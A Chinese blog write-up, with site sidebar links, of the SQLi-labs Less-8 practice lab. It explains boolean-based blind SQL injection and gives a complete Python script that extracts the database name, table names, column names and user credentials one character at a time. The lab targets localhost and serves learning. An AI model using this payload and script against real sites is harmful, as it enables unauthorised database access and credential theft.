当前位置:网站首页>sqlilabs less-8
sqlilabs less-8
2022-07-01 14:03:00 【永远是深夜该多好。】
先判断是数字还是字符呢

数字加字符还是没问题,是字符型了。再尝试构造。因为这次只会返回正确与否,所以考虑盲注。
先判断数据库长度
然后判断数据库名

这要用到
substr(内容,n,m)从内容的第n位截取m个 length() 还有一个关键的sql语句
?id=1’ and
substr((select group_concat(table_name) from information_schema.tables
where table_schema =database() ),1,1)=‘u’–+
工作量有点大,可以考虑burp suite 或者用脚本
import requests
url = 'http://localhost/sqlilabs/Less-8/?id=1\''
datalens = 0
datanamee = ''
sign = "You are in..........."
tablename = ''
columnlist = ''
list1= ['id','username','password','user','currentconnections','totalconnections']
valuelist = ''
#数据库长度
for i in range(10):
rl = str(i)
lenurl = url + "and length(database())=" + rl + "--+"
r = requests.get(lenurl)
if sign in r.text:
print("database len " + str(i))
datalens = i + 1
#数据库名
wordlist = "abcdefghijklmnopqrstuvwxyz"
for i in range(1,datalens):
dataname = url + "and substr(database()," + str(i) + "," +"1)"
for w in wordlist:
datanames = dataname + "=" + "'" + w + "'" + "--+"
r = requests.get(datanames)
if sign in r.text:
datanamee += w
print("database name " + datanamee)
#数据库表名
wordlist2 = "abcdefghijklmnopqrstuvwxyz,"
for i in range(1,100):
tableurl1 = url + " and substr((select group_concat(table_name) from information_schema.tables where table_schema = database())," + str(i) + ",1)="
for v in wordlist2:
tableurl = tableurl1 + "\'" + v + "\'" + "--+"
r = requests.get(tableurl)
if sign in r.text:
tablename += v
print("database table " + tablename)
#数据库字段名
for i in range(1,100):
columnurl1 = url + " and substr((select group_concat(column_name) from information_schema.columns where table_name = \'users\' )," + str(i) + ",1)="
for v in wordlist2:
columnurl = columnurl1 + "\'" + v + "\'" + "--+"
r = requests.get(columnurl)
if sign in r.text:
columnlist += v
print("database colum " + columnlist)
print(list1)
#数据库元组
wordlist2 = "0123456789abcdefghijklmnopqrstuvwxyz,=-_/\\."
for n in range(6):
for i in range(1,200):
valueurl1 = url + " and substr((select group_concat(" + list1[n] + ") from users )," + str(i) + ",1)="
for v in wordlist2:
valueurl = valueurl1 + "\'" + v + "\'" + "--+"
r = requests.get(valueurl)
if sign in r.text:
valuelist += v
print("database " + list1[n] + ' ' + valuelist)
valuelist = ''

有目共睹,博主编程力有未逮,有待提高。
边栏推荐
- 既不是研发顶尖高手,也不是销售大牛,为何偏偏获得 2 万 RMB 的首个涛思文化奖?
- 玩转gRPC—不同编程语言间通信
- Uni app realizes advertisement scroll bar
- Understand the window query function of tdengine in one article
- El form item regular verification
- That hard-working student failed the college entrance examination... Don't panic! You have another chance to counter attack!
- The integration of computing and Internet enables the transformation of the industry, and the mobile cloud lights up a new roadmap for the future of digital intelligence
- Liu Dui (fire line safety) - risk discovery in cloudy environment
- C language course design topic
- Admire, Ali female program undercover more than 500 black production groups
猜你喜欢

That hard-working student failed the college entrance examination... Don't panic! You have another chance to counter attack!

开源实习经验分享:openEuler软件包加固测试

When you really learn databinding, you will find "this thing is really fragrant"!
![[安网杯 2021] REV WP](/img/98/ea5c241e2b8f3ae4c76e1c75c9e0d1.png)
[安网杯 2021] REV WP

使用CMD修复和恢复病毒感染文件

Open source internship experience sharing: openeuler software package reinforcement test

AnimeSR:可学习的降质算子与新的真实世界动漫VSR数据集

Scheme of printing statistical information in log

玩转MongoDB—搭建MongoDB集群

用栈实现队列、用队列实现栈(C语言_leetcode_232+225)
随机推荐
C语言基础知识
[Jianzhi offer] 54 The k-th node of binary search tree
Use lambda function URL + cloudfront to realize S3 image back to source
【剑指Offer】54. 二叉搜索树的第k大节点
Fiori applications are shared through the enhancement of adaptation project
Admire, Ali female program undercover more than 500 black production groups
Several models of IO blocking, non blocking, IO multiplexing, signal driven and asynchronous IO
开源者的自我修养|为 ShardingSphere 贡献了千万行代码的程序员,后来当了 CEO
Summary of 20 practical typescript single line codes
8 best practices to protect your IAC security!
leetcode622. Design cycle queue (C language)
Use the npoi package of net core 6 C to read excel Pictures in xlsx cells and stored to the specified server
【修复版】仿我爱看电影网站模板/海洋CMS影视系统模板
Build your own website (21)
Error:Kotlin: Module was compiled with an incompatible version of Kotlin. The binary version of its
QT学习管理系统
光环效应——谁说头上有光的就算英雄
04 redis source code data structure dictionary
Chen Yu (Aqua) - Safety - & gt; Cloud Security - & gt; Multicloud security
进入前六!博云在中国云管理软件市场销量排行持续上升